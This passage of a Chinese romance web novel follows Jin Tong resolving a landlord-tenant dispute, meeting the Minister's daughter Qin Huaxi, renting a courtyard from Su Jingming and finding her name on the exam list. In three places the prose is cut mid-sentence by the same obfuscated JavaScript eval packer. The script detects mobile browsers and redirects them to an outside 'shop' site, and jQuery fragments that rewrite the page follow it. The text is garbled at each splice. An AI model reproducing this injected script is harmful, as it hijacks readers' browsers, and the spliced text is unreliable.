破锣嗓子睁开眼，带着几分难以置信。 金桐以为他没听清，耐着性子道：“你掀了这个小姑娘的摊子，踩碎了她的草鞋，理应照价赔偿，你可愿意？” “愿意，愿意。”破锣嗓子点头如捣蒜。 能用钱解决的事情，对他来讲都小事情。 他解下钱袋，递给金桐：“这些够不够？不够的话，我再回家取。” 金桐接过钱袋掂了掂，估计里面能有二十两银子。 少女在旁边小声道：“姐姐，十文就好。” 金桐问她：“你的摊子也散架了，重新买一个要多少钱？” 少女摇摇头：“不要钱，我自己能修。” 金桐打开钱袋子，从里面拿出一块。碎银，塞到少女手心。 “大约二两银子，损坏了什么就去置办，多了算他补偿你的。”金桐对少女道，又问破锣嗓子意见，“你可同意？” “同意，当然同意。”破锣嗓子忙不迭道，“小姐还有什么吩咐？” “给这位姑娘道歉。” “好，好。” 破锣嗓子双手抱拳：“是我对不住你，你大人不记小人过，放了我这次。” 他虽在说软话，少女却很惧怕他，不敢受他的礼，躲到了金桐身后。 金桐温声问她：“他是不是经常找你麻烦？” 少女看了一眼破锣嗓子，正见破锣嗓子也在看她。 她已下定决心反抗，便压下心中恐惧，对着金桐点头。 “我阿爹租了他家的地，总共十亩，租金百文，收成三七分，他七，我家三。 一场大雨下来，稻穗倒了大半，今年只收上来往年的四成，阿爹一点儿没留，全部交上去了。他们家还不满意，找我阿爹要一百文的租金，我们去哪里弄钱？ 阿爹急得病了，阿娘做散工贴补家用，我自己编了些草鞋，想着换些钱来，他却追着我为难！” “欠债还钱，天经地义！就算闹到官府，我也不怕！”破锣嗓子提起这事，觉得自己也有理，声音都大了几分，“地包出去了，到了日子，钱也交不上，粮也交不上，我的损失谁来承担？” 少女不服气：“你们一份力不出，每年净等着收钱收粮。我们辛苦一年，好处全叫你们得了，凭什么？” “凭我有地。“破锣嗓子理直气壮，看了金桐一眼，又缩回去了，”又不是只有我这样，谁家不是又收粮又收钱。你觉得不公平，跟我喊什么？又不是我求着你们租我的地。” 有了田地，就有了话语权。田地掌握在少数人在手里，这些人抱团，开出一些不平等的条件，其他人也只能遵守，普通百姓辛勤劳作，到头来一无所获，生活艰难，全是为他人做了嫁衣。 没田的人手里留下的粮仅够自家人的口粮，没有多余的粮食去卖，也就没有钱置办自己的土地。 有田的人得了租金，还收走绝大多数的粮，到市场变卖后就有了钱买新的土地。 长此以往，就是一个恶性循环，有田的人拥有越来越多的田，没田的人很难有自己的田。 那些没田的人便只能一年一年给有田的人白做苦力。 邱监察不可能没察觉这些。 邱监察都改变不了的情况，自己真的有能力更正吗？ 普通的田地制度下牵扯了自己想象不到的盘根错节，弱小如蚍蜉的自己，又该如何撼动这些深扎数十年的大树？ 金桐半晌没说话，破锣嗓子开始慌了。 “你们给她撑腰，她家的租金我哪敢要？算我倒霉，我认栽。” 金桐回神，觉得这样也不是办法。 便是悔了租金，事情一旦传出去，明年乃至以后，恐怕很难再有人愿意将地租给毁约之人了。 他此举无疑是变相断人生路。 “你只需索赔砸人摊子的钱，田地之事自然按当初说好的来。”金桐道，“这位妹妹的租金我替她付了，请将地址告知于我，我明日将送百文上门。” “姐姐，为什么？”少女很是不忿，“连你也觉得他提出的要求没错吗？” 破锣嗓也拒绝道：“我不要。” 这位给的钱，他可不敢收，拿着都怕灼手。 “当初的租金既然双方都认可了，就该按承诺履行。”金桐道，“你收了租金就是结清了账，人家以后要租田，你可不能与人为难。” 破锣嗓子梗着脖子不说话，铁了心不合作。 苏礼明道：“永宁坊宕川里甲子第九号，王” 这个道理破锣嗓子还是懂的。 他追着人要租金，他不是贪图那一百文，钱他还不有的是？ 一百文钱虽小，这个口子绝对不能开。若今日张三收成不好拒交租金，明日李四因收成不好拒交租金，往后岂不乱套了？ 退一步讲，哪怕他真做了大善人，就这样给人免租金，其他人可不是吃素的，哪还容得下他？ 因此不管为了什么，租金他都非收不可。 很显然，金桐是懂得其中利害关系的。 破锣嗓子答应道：“租金结清，往事一笔勾销。” 他报了家门，问道：“这下我可以走了吗？” 金桐点头。 “等等。”苏礼明道。 他一开口，破锣嗓子就是一哆嗦，他颤颤问道：“还有什么事？” “你曾出言不逊。”苏礼明提醒他。 他这一说，金桐也想起来，脸色顿时难看。 破锣嗓子一看，要完，先下手为强，铆足劲甩了自己两耳光。 “嘶——”那力道大得他直抽气，口齿不清地问金桐，“您解气没？” 他诚意十足，金桐在意的却是另外一桩事：“你以前曾强掳女子回家？” “没有，这个真没有，您是第一位。”破锣嗓子慌乱到口不择言，“不是，我是说，我虽然混，却不干那伤天害理的事。” “我当时那是立威呢，哪能真干出那档子事？不信你问她。”破锣嗓子指着少女道。 少女哼了一声，没反驳，算是承认了他说的话。 破锣嗓子接着说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868513|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “便是今天请您去我家做客，我也会负责的。” 他的脸已经有些肿起，挤出一个滑稽的笑：“您长得合我心意，性格也合我心意。” “呵。”少女看了一眼破锣嗓子，又看了一眼苏礼明，发出一声冷笑。 “好了好了。”金桐头大，“你只需记得以后不要做违背礼法的事。” “我尽量……”破锣嗓子心虚道。 事情解决，苏礼明和金桐二人把少女送回了家。 临别时，少女对金桐说：“姐姐，那一百文，我不想还你。” 金桐愣了一下，道：“啊，好呀，姐姐本来也不要你还的。” 少女解释了她的理由：“那租金对我们不公平，我下定了决心不给他，所以就算姐姐替我付了，我也不会还给你。” 少女说着，想起自己之前受过的委屈，抹了把泪，心却更加坚定了。 她低着头对金桐道歉：“对不起，姐姐。” “别哭啊，本来也不用你还的。”金桐抬起她的脸，替她擦泪，温柔道，“以后，也许会变的。” 哄好了少女，就只剩金桐和苏礼明二人。 金桐今天经历了太多，一波又一折，将她折磨得不堪重负。 之前她还强撑着精神，现在终于得以松懈下来，仰头长叹一口气，意外看见天上玉盘一般的月亮。 “又是十五了啊。”她感叹道。 她和苏礼明初一出发，到达西京是初七，转眼间又过了八日。 在她无知无觉间，时间就这样悄然溜走了。 她忽然很想念吴嬷、青苗和周与棠。 哦，差点忘了还有王盛宣。 “吴嬷很重视十五的，这天要亲自下厨包饺子吃。”金桐回忆着颍川的日子，不住地絮叨，“吴嬷包饺子很有一手，王盛宣每个月的十五都要来蹭饭。青苗和我喜欢素馅的，王盛宣喜欢肉的。为了他，还有专门多做一种饺子馅。” “不知道他们现在在做什么呢。” “也许也在抬头看着月亮。”苏礼明回答。 金桐忽然有一种想要落泪的冲动，她吸了吸鼻子，闭上了眼，以防眼泪流出来。 “怎么办，我好像有点想家了。” 苏礼明偏头，看月亮银色的光辉洒在她的侧脸，她故作轻松着，紧闭却颤抖的睫毛泄露了她的情绪。 苏礼明轻轻抬手，最终还是放下，选择无言地陪伴着她。 过了一会儿，金桐呼出一口气，睁开眼。 “我好了。”金桐道，“我们走吧。” 她虽这么说着，看起来却没有好很多，满脸都是强颜欢笑的神色。 驿馆近在眼前。 金桐与苏礼明告别：“就送到这吧，你也早些回家。” “今晚我也住驿馆。”苏礼明顿了顿，补了句借口，“这么晚回家，父亲母亲会嫌我吵。” “噗嗤。”金桐笑了，她真的很难想象苏礼明这么大人因为晚归而被唠叨的情景。 二人进了驿馆，夜已深，里面漆黑一片，所有房间几乎都熄了灯。 金桐和苏礼明蹑手蹑脚上了二楼，走到尽头找到自己的房间。 “早些休息。”金桐用气声道。 “你也是。”苏礼明回答。 16. 美人 金桐本以为自己会睡不踏实，没想到一夜无梦，睁眼天已大亮。 她提着水桶去后院打了水，简单地清洁过自己后，苏礼明提着早点敲响了她的房门。 金桐去开门，看见他手里拎着食盒，便笑道：“我方才去隔壁敲门，你不在，我猜就是去买早点了，所以特意在房中等着，果不其然。” 她从苏礼明手里接过食盒，迫不及待地打开，里面是码得整整齐齐的蒸饺和小菜。 热气熏得她眼睛涨涨的，金桐眨眨眼，半晌道：“多谢。” 苏黎明扯开一把椅子，让她坐下，含笑问道：“金桐小姐每天都要谢我一次吗？” 金桐愣住，忽然明白，昨日糖水铺子的那句低声道谢，他并非没听到。 苏礼明坐在她旁边，装若无意提起：“还以为我们已经熟络到无需言谢。” 在苏礼明心里，竟然认为他们很熟络吗？ 这出乎金桐的意料，不过苏礼明此人，她是很愿意结交的。 金桐识趣道：“既然苏公子如此说，以后也不必再称什么小姐，只管叫我名字就好。” 苏礼明道：“我则亦然。” “好，苏礼明。” “金桐。” 二人说完，不约而同笑起来。 金桐把饺子和小菜从食盒取出来，摆在桌上，说道：“好了，快吃饺子吧，这一觉睡得太久，我真有些饿了。” 用过饭，金桐还记着百文租金的事，便去翻开包裹。 金桐的钱都是吴嬷亲自准备的。有整银，碎银，整吊钱，还有写零散的铜板，为的是用着方便。 至于大额的银票，若真到了要用的时候，去钱庄现取也来得及。 金桐从中取出一吊钱，收在钱袋里，问苏礼明：“若无事，可与我同去？” 苏礼明道：“乐意之至。” 正说着话，房门被人推开，苏景明大摇大摆地走进来。 “兄长，我就知道你在这。” 苏礼明问他：“找我何事？” “没事就不能兄长了？”苏景明反问道，“兄长好不容易归京，却整日不着家，令父亲母亲好生心寒。” 苏礼明不回家的原因…… 金桐心虚地喝了一口茶。 苏礼明道：“我常在府里，你还能睡得安稳？” 苏景明一愣，这话倒是不假。 只是他兄弟二人心照不宣，从来都是他出招，苏礼明不理他，久而久之他便习惯了用话给苏礼明找不痛快，没想到这次苏礼明认真了起来。 “姐姐，兄长是否厌弃我了？”苏景明委屈地问。 金桐抿了抿嘴，心说，你兄长从来也没喜欢过你。 苏礼明对苏景明摆出送客姿态，又对金桐道：“不是要出门？走吧。” “你们要去哪？”苏景明好奇道。 苏礼明没理他，金桐便粗略解释了一下。 “等等。”苏景明拦住他们，意味深长，“兄长贵人多事，可是忘了今日是什么日子？” 得不到回应，苏景明又道：“那覃家的……” “苏景明。” “在。”被这么一本正经地叫了名字，苏景明下意识应道。 “此事我已回绝过，你不必再提。” 苏景明看了一眼金桐，面上浮现出一丝了然神色。 “怎么办呢，兄长？”他皱着脸，貌似很为难的样子，“我是奉母亲的命令，特意来请兄长回去，兄长若不从，我要挨骂的。” 金桐道：“你家中若有事，尽管去处理，不必管我。” 苏景明笑得意味不明：“还是金桐姐姐善解人意，比那覃家……” 他话说了一半，便对苏景明的眼风打断。他虽爱和兄长对着干，却明白点到为止的道理，真把苏礼明惹急了，倒霉的也只会是他自己。 于是他懂事的止住话头，只是眸中幸灾乐祸的神色怎么也止不住。 几次三番地话说半截，金桐也好奇起来：“你们到底在打什么哑谜？” 苏景明凑上去问道：“姐姐真想知道？” 他看了苏礼明一眼，有装作害怕地缩回去，“可不敢说，兄长会生气的。” “这样吗？”金桐看向苏礼明，好奇的心思全写在脸上。 苏礼明扶额，对苏景明道：“你只管回家告诉母亲，我不会见她，其余事情等我回去处理。” 显然苏礼明不想在金桐面前谈及此事，苏景明岂能放过此等好机会，必然趁机捞上一把。 “兄长书房里有一对小叶紫檀的镇尺，我偶然得见，心仪许久，不知兄长用够了没有？” “你若喜欢便拿去。”苏礼明道。 苏景明捞到了好处，一改方才的惺惺作态，欢快道：“得令。我这就去替兄长回绝母亲。” 临走前，他不忘和金桐打招呼：“姐姐，下次再来找你玩。” 金桐道：“好。” 苏景明走后，金桐拄着下巴，问道：“你好像有什么事故意瞒我。” 苏礼明答：“非是瞒你。” “是吗？”金桐看着他，静静等待下文。 苏礼明被她盯得无奈，只道：“不过是些戏言而已，不值得一提。” 金桐垂眸，知道问不出什么了。 她虽然已经习惯了苏礼明对一些事情避而不谈，却也难掩心中失望。在她心中，好友之间就该坦诚相待。 “你说过若我问你，你将知无不言。” 苏礼明无奈道：“好吧，其实……” “算了，我已经不想知道了。”金桐起身，对苏礼明道，“走吧，去还钱。” 金桐叫了一辆马车，将昨晚破锣嗓子道出的地址告诉了车夫，一刻钟后，马车便拉着他们到了地方。 金桐下车去扣门，里面有人道了句稍等。 过了一会儿，大门打开，开门的是正是破锣嗓子。 他道：“我早告诉下人在这等着，告诉他们有人来就第一时间通知我。” 金桐将钱袋子递给他，他接过，却不急着关门，而是殷勤问道：“不进来坐坐？” 金桐看了眼苏礼明，不确定道：“我们两个？” 破锣嗓子声音提得老高，“那不然呢？我可不是记仇的人。你们两个合我心意，尤其是那位，”他对苏礼明笑道，“一挑四，我很服气。” 人不可貌相，没想到他是这种豁达之人，金桐侧头看苏礼明，“你意下如何？” 苏礼明道：“还是不叨扰了。” 他们不留，破锣嗓子也不强求，只说：“我姓刘，刘天霸，认识一下？” 金桐与苏礼明报了姓名。 刘天霸道：“行，咱们也算不打不相识，以后你们有什么事，只管报我的名字。” 金桐不免觉得好笑，昨晚还棍棒相见的人，今日竟结交为友了。 她道：“若说事情，倒真有一件。” 刘天霸道：“你说。” “把田地的租金免了，收成降到五五分，你看行不行？” “你快别吓我了。”刘天霸惊恐地摇头，“这种大事都是我爹做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868514|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主，哪轮得到我说话？再者说，别人家都收租金，单我家不收，那不是存心给大伙找不痛快？” 金桐不过随口说说，她也掌过家，了解其中繁杂的关系，明白牵一发而动全身的道理，自然没指望自己一句话能改变现状。 “你说的大伙，可还有谁？”她问。 刘天霸掰着手指数道：“西京的田地大约可划为四片，南边的大部分都归我家，东西北分别是钱、孙、赵三家。要说那赵家，可不一般，我们剩下三家就算拢在一起，也抵不上他家。” 说到这，他还隐晦地指了指天，“听说啊，他家在宫里有点关系。对了，还有些零零碎碎的散户，那就不用提了。” 宫里？ 金桐问道：“什么关系？怎会牵扯到宫里？” 刘天霸道：“谁知道呢？说是那么说，谁见过？真的假的还不一定呢。” 金桐对此留了心，觉得未必是空穴来风。 “哎哎哎，”刘天霸唤金桐回神，“合计什么呢？不管赵家的关系是真是假，我劝你们别去招惹，他们不像我这么好说话。” “知道了。”金桐敷衍应了一句，“那我们就先告辞了。” 离开了刘天霸家，金桐仍想着他说的话，有些心不在焉。 “接下来有什么安排？”苏礼明问她。 “已经考完试，一直在驿馆住着也不是办法，我想租个院子住，目前还没什么头绪。” “什么要求？” “我一个人住，不需要太大，位置也别太偏。” “唔，符合要求的，我确实知道一处。”苏礼明道，“一进的院子，位置也算不错。” “太好了，这样也免得我到处去看。” 金桐对苏礼明十二分的信任，他觉得不错，那一定就是非常好。 “你能帮我找到院子的主人吗？我随时可以定下来。” “就这么定了？” “当然。”金桐道，“你推荐的，准没有错。” 苏礼明笑：“院子的主人，你也认识的。” “什么？”金桐下意识问道，“不会是你吧？” 苏礼明摇头：“那倒不是。” 不是苏礼明的就好。如果是他的院子，绝对不会收租金，自己必然是白住，那便太让人不好意思了。 金桐悄悄松了一口气，接着便听苏礼明道：“是我弟弟的。” “苏景明？”金桐一口气没倒上来，呛了一下，“你耍我！” 苏礼明无辜道：“确实不是我的院子。” “罢了。”金桐妥协，“那院子租金多少，我按市价付给他。” 苏礼明道：“无需租金。” 果然不出金桐所料，她早就想好了说辞：“若是不要租金，我就不租了。” 苏礼明似料到她会这么说，早有了对策：“一个时辰前，景明才要走了我的镇尺，你住他的院子，就当替我出气。” 这理由真是幼稚得可以。 金桐仍是拒绝：“一码归一码。” 苏礼明不再逼她，只说：“这事便先定下，等你见了景明，再亲自问他租金，如何？” 金桐觉得有理，既然苏景明是院子的主人，那便应该由他开价，于是接受了苏礼明的提议。 他们往院子那边去，迎面遇上了一顶软轿，道路不宽，金桐自觉站到路边避让。 软轿小窗的帘子被一阵细风吹起，缝隙间露出半张美人面。 美人漫不经心的目光往外一扫，随即柳眉轻挑。 “停轿！” 17. 相邀 一声停轿，四个轿夫遍应声止了脚步。 轿子四平八稳地落地光滑，从中探出一只肤如凝脂的手，指甲涂了鲜艳的丹蔻。侍女抬手去接，手的主人便轻轻搭了上去，接着便将身子探出来，露出小窗中惊鸿一瞥的美丽脸庞。 美人身姿袅娜地下了轿，动作轻柔得仿佛一片羽毛，莲步轻移，举手投足间都透露出不凡的气度。 细看之下，金桐才发觉，这美人出落得标志，年龄看起来却不大，只是神态和举手投足之间的沉稳，让人忽略了她的真实年纪。 恰如金桐所想，这美人是户部尚书之女覃花溪，还未满十五岁。 户部尚书已经年近五十，老来得女，膝下仅有一女，将唯一一个女儿捧在手心养着，宝贝得不得了。 不过覃花溪并未因此养成娇弱刁蛮的性格。 “礼明哥哥，好久不见。”覃花溪熟稔地同苏礼明打招呼。 “月前下了大雨，伯母染上风寒，始终缠绵着好不利索，让我好生惦记。今去探望过，见伯母精神大好，总算将心放回了肚子里。” 相比覃花溪，苏礼明就显得冷淡多了。 他客套道：“覃小姐有心。” 覃小姐。金桐细细咀嚼这个姓氏，想起来早上刚从苏景明口中听过。 “许久不见，礼明哥哥倒和我生分了。”覃花溪意味不明地笑了笑，又道：“你我两家的长辈本就来往密切，伯母待我更如亲生女儿一般，我关心伯母的身体，不过投桃报李，略尽晚辈的一点儿心意罢了。” 苏礼明淡薄的态度对她影响不了分毫，覃花溪说话张弛有度，端的尽是大家风范。 寒暄过后，她像是才看见一旁的金桐：“这位就是金桐小姐吧？” 猝然被点了名，金桐反应了一下，道：“这位小姐认识我？” 覃花溪语气温和，姿态得体，金桐却分明从中感受到一丝不同寻常的意味。 覃花溪歪着头看她，这会儿方显出一些少女娇态：“金桐小姐大名，谁人不知？听闻今年参考的考生里有一名女子，姐妹们都有耳闻，想要一睹真容，不想竟是让我抢了先。” 她这样说，金桐有些不好意思，低头笑得腼腆。 “不过——”覃花溪话锋一转，“我对金小姐的兴趣不止源于此。” 她故意卖了个关子，等着金桐问她。 金桐亦听出她话中之意，很配合地问道：“那么覃小姐究竟还对我有何兴趣呢？” “景明与我说，礼明哥哥在外结识了一名女子。”覃花溪目光转向苏礼明，苏礼明正眺着远处，不知在看什么，全然一副事不关己的样子。 她转回目光，唇角漾起一丝浅笑，“与礼明哥哥有关的人或事，我总会多上心一些。” 她说完，装作不在意，却暗自观察着金桐的神色。 金桐忍不住发笑，小美人再怎么扮作成熟也只是一个小姑娘，没两句话就藏不住了。 见金桐不但不上钩，反倒取笑自己，覃花溪面上闪过一瞬羞恼的神色，但很快又恢复原样。 她明白自己乱了方寸，便也不打算在此处多耽搁。 问侍女要了两张烫金请帖，一张给了苏礼明，另一张，覃花溪笑意盈盈地朝金桐递了过去，“下个月我的及笄礼，不知金桐小姐可愿赏脸？” 金桐双手接过请帖，答道：“乐意之至。” 覃花溪满意地收回手，上了轿，掀起小窗的帘子，对金桐道：“忘了说，我名花溪，覃花溪。” 不待金桐回答，她便落了帘。 “覃花溪。”金桐低低念到，深觉这是一个与她相匹配的美丽名字。 “覃小姐是户部尚书之女。”苏礼明道。 “什么？” 金桐回想着之前翻阅过的材料，隐约记起，户部尚书好像确实姓覃。 顺着覃花溪的身份，金桐难免去联想苏礼明从未提及的出身。 听起来覃花溪与他家长辈十分相熟，应当也属五部。 “在想什么？”苏礼明问她。 “我在想，”金桐说着，自己先忍不住笑出来，“你是谁的儿子。” “走吧，去找苏景明算账。”苏礼明道，“届时你便知道。” 对于苏礼明的出身，金桐即便做足了准备，在见到富贵堂皇的国公府牌匾时，也难掩震惊。 “无意冒犯，请问你与国公爷的关系是？” “是我父亲。”苏礼明谦虚道，“受先人荫蔽，继承下来的闲散爵位罢了。” 难怪苏礼明总是对自己的身份和家世避而不谈。 她对苏礼明之前的隐瞒，金桐释然了，他大约只是想省些麻烦。 苏礼明叫小厮去通传苏景明，特意叮嘱不必告知来人是谁。 小厮不多问，按照他的交代去了。 不多时苏景明出来，瞧见门口等着的是他们二人，立刻转身想回去。 “景明。”苏礼明叫住他。 苏景明背影一颤，立刻转身，恍若无事道：“兄长不是叫我回绝母亲，说是不回来。” 他刻意地往远处瞧了瞧，道：“这下不巧了，覃……客人已经离开有一会儿了。” “并非不巧。”苏礼明意有所指：“我在仁丰巷碰到了覃小姐，是我消息闭塞，不知覃大人府邸何时搬到了城东。” 苏景明假笑两声：“是吗？兄长你与那客人倒有缘份。” 金桐听他二人说话，隐约明白了苏礼明口中的算账是指什么。 她微垂了头，装作失落，“景明，覃小姐已经都与我们说了。” 覃花溪确实说了下月及笄礼的事，还给了请柬邀请他们参加，她这么说也不算骗人，至于苏景明意会成什么，便不关她的事了。 果然，金桐这么一诈，苏景明就交代了。 “好吧，确实是我告诉覃小姐你们行踪的。”他一改方才装傻，坦然承认，“她问了，我就说了。” 他觑了一眼苏礼明，知道兄长那边行不通，便向金桐讨饶：“姐姐，我不是故意的，你不会怪我的对吧？” 这小子果然背后搞事情。 他惯会这一套，而且太懂柿子要挑软的捏，苏礼明是得罪不起的兄长，她金桐在苏景明眼里却是好惹得很。 每次他惹了人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868515|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都找他说软话，她也不厌其烦地给他解围。他这次把小动作搞道她身上，真是个小白眼儿狼。 金桐打算给他点儿教训，装作生气，冷着脸不理他。 苏景明得不到回应，意识到这次或许将篓子捅大了。 他虽然对金桐谈不上喜欢，也不讨厌，甚至感觉和她共处时总是很轻松的。 但因为她与苏礼明的关系，他面对金桐总是很别扭，亲近都是装的，要说伤害金桐，他也实在不愿。 他对自己做的事情有些后悔，碍于苏礼明在场，不想低头认错。 “姐姐，你怎么不说话？是不是覃小姐欺负你了？” 金桐知道苏景明是什么心思，问他：“你可知覃小姐与我说了什么？” “什么？”他下意识问道，看起来比平时老实了许多。 瞧他样子，金桐忍住笑，苏景明平时总是憋着一肚子坏水，以为自己闯了祸倒是安分了许多。 “覃小姐说，”金桐故意停顿了一下，观察着苏景明的反应，噗地笑了，“覃小姐邀请我们参加她的及笄礼。” 苏景明意识到自己被耍了，恨恨地连着道了三声好。 金桐道：“不及你好。整日姐姐长姐姐短，给姐姐使绊子一点儿不手软。” “还有你。”金桐没好气对苏礼明道，“有什么事总是藏着不说，还好覃小姐未人和善，没有计较。” 客人来访，苏礼明拒绝会客，还被人家在街上撞见，怎么说都过不去。 苏景明见风使舵地帮腔：“兄长此举确实不妥。” “下不为例。”苏礼明对金桐保证，既是单指这一次，也指过往种种。 苏景明好生得意，尽管苏礼明的保证不是对他说的，他也与有荣焉。 苏礼明又岂会放过他，命令道：“你也道歉。” 苏景明笑容戛然而止，对于苏礼明的命令，他总是下意识畏惧，接着便是想要反抗。 但道歉的对象并非苏礼明，而是金桐，他又觉得能接受了。 他双手抱拳，对金桐句了一躬，道：“是我错了，姐姐别与我计较。” 往常苏礼明说什么他都唱反调，这次难得这么听话，金桐道：“你也下不为例。” 苏景明立刻喜笑颜开地应下了。 金桐道：“其实今天来找你，是有事相求。” 苏景明瞄了一眼苏礼明，怪腔怪调，“能帮姐姐我当然高兴，就怕兄长嫌我越俎代庖。” 不过两句话的功夫，他又挤兑上苏礼明了，金桐无奈摇头。 “怎会？此事还是你兄长提点我的。” “哦？”这下苏景明可来了精神，“说来听听。” 金桐道：“我想租一处宅院住，你兄长说你恰好有合适的，我便想来问问，你放心，租金尽管开就好。” 苏景明几乎瞬间便意会了兄长的心思，笑得意味深长道：“租金好说，姐姐先跟我去院子看看吧。” 金桐问道：“现在？” 她作此反应，苏景明更确定了苏礼明没有告诉她院落的位置，安的什么心昭然若揭。 “现在。” 18. 黄榜 苏景明回身往安国公府的大门走去，金桐忙问道：“不说去看院子吗？你怎么回去了？” “就是去看院子啊。”苏景明道。 苏礼明轻咳一声，“景明，好好带路。” 苏景明挑了挑眉，拉长了声音：“都听兄长的。” 他改道绕了一圈，到了地方，金桐才知道方才那一出是怎么回事。 只因这出宅院正对着安国公府的正后门，从前门进来，再从后门出来，便到了。 “姐姐你看，我好心想领你走近路，兄长还不准。” 金桐道：“这样走也不算远。” 他所谓的近路也太让人尴尬了，她宁愿走得远一些。 “这个位置，姐姐满意吗？”苏景明笑着问他，只是那笑里莫名透出一股子坏。 “当然满意，可以说是正合我意。”金桐在院子里走了一圈，四处打量，越看越满意。 既已定下来，金桐便直奔正题：“租金多少钱？” 苏景明道：“姐姐只管住就好，这宅子空着也是空着，姐姐进来添了人气，也算帮我的忙。” “那可不行，租金你一定要收。”金桐坚持，求助旁边沉默的苏礼明，“你说话啊。” 苏礼明正摆弄着一截柳枝，随口道：“我瞧这院子灰有点儿大，先叫人清扫一下。” 金桐嗔他一眼，他兄弟二人这时候倒一致对外了。 她无奈对苏景明道：“你不开价，那我就按照一个月二十两的价钱付给你。” 苏景明摆手，“哪里用得着这么多？” 金桐道：“你说多少。” 苏景明对着苏礼明摊手，表示自己真没办法，想了想，报出个价格：“五两吧。” 这价钱显然是苏景明放了水，他退了一步，金桐便也退一步，果断道：“那就说定了。” 住所之事就这样敲定下来，金桐对他们道：“这次又是多亏了你们。” “姐姐不必与我客气。”苏景明道，“这院子久不住人，有些杂乱，回去我让下人收拾一下，姐姐干干净净地住进来。” 金桐道：“那我就不和你客气了。” 转眼到了放榜的时间，搬家的时间恰好与放榜的时间撞上。 苏礼明问道：“我们先去看榜，再搬家，如何？” 金桐略作思索，道：“看榜不急于一时，诸事安排妥当之后再去看结果也来得及。” 金桐手上活计没停，还不忘指挥两个闲人做事：“劳烦你们两个帮我把收拾好的东西搬到马车上。” 苏景明锦衣玉食的富家公子当惯了，哪有人指使他干过粗活。 他甩甩袖子，不情不愿道：“姐姐，也就是你，换做旁人这样对待我，我早翻脸了。” 金桐回头看了他一眼，笑道：“好啦，多谢你，晚上我准备了惊喜，定不叫你白帮忙。” “姐姐的惊喜可别让我失望。” 苏景明认命干活，金桐见苏礼明还在身边杵着，催他，“快去搭把手。” 苏礼明没动，道：“他一人就可以。” 待到苏景明吭哧吭哧出了门，苏礼明看着忙碌到头也不抬的金桐，道：“你在紧张。” 金桐顿了顿，小声抵抗：“有那么明显吗……” 她确实很紧张。 初战的兴奋退去，金桐近来觉得这一个月发生的事仿佛梦境一般。 随着放榜事件的迫近，她对自己的怀疑逐渐加深，早已不复走出考场时的笃定。 明知自己已经尽力，任何结果她都无愧于自身，并且她也深切明白，结果未必一定是坏的。 在这样的自我宽慰下，她依旧无法控制地对结果怀疑的同时，又对它抱有期待。 “我会落榜吗？”她有些迷茫，不知是在问自己还是问苏礼明。 苏礼明没有回答她的话，而是反问她：“落榜如何？中榜又如何？” 从考试结束到放榜，这个问题她早已在心中问过自己无数次，每一次的答案都未变过。 “问得好。”金桐对苏礼明感激一笑，“走，把东西装上车，我们先去看榜。”、 管那结果如何，她的目标始终未曾变过。 苏景明在下面等了半天，他们才下了楼。 他半倚着车厢，一副虚脱了的样子，“姐姐，你这东西还真不少。” 金桐陪笑道：“辛苦，辛苦。” 她雇了两辆马车，一辆专门拉行李，另一辆是他们乘的。 将行李全部放上去，金桐告诉车夫目的地，让他先拉着东西过去，到了那边有人接应他。 接着她把苏景明领到后面一辆马车那里，将他舒舒服服地安置好，自己和苏礼明也跟着进去了。 马车分走两路，苏景明好奇问道：“诶，怎么绕路了？” 金桐道：“先去看榜。” 大榜张贴的地方离驿馆很近，马车转个弯便到了。 榜下里三层外三层围满了人。 苏景明朝外面看了一眼，道：“人这么多，姐姐怎么挤得进去？罢了，反正我的衣服也皱了，姐姐在马车上等着，我看完回来告诉姐姐。” 金桐按下苏景明的肩膀，调整了呼吸，道：“多谢你好意，不过，我还是自己去看吧。” 苏礼明跟着金桐下了马车，虚揽着她往人堆里挤。 “让一下，麻烦让一下。” 经过一番痛苦的挣扎，金桐总算到了最前排。 朱红的墙面上，黄榜黑字，左右两边站着差役，整张榜足有三尺长。 金桐从最右侧列列看过去。 状元，榜眼，探花，皆是未曾听过的名字。 二甲四十名，密密麻麻的蝇头小字，从第一名往后看，金桐屏住了呼吸，心也随着时间的推移渐渐下沉。 终于，在最后一名，她看到了自己的名字。 她下意识惊呼一声，拉住苏礼明的袖子，眼中是快要溢出的喜悦。 “我中了！” 苏礼明亦弯了眉眼。 “二甲，恭喜。” 金桐几乎想要拥抱身边的人，好在尚存的一点儿理智阻止她这么做，她对着苏礼明一个劲儿地傻笑。 被她的情绪感染，苏礼明笑着说道：“先回去，晚上给你庆祝。” 金桐高兴地点头。 挤出人群，金桐的兴奋劲儿还没过，从侧面撞上了一个人。 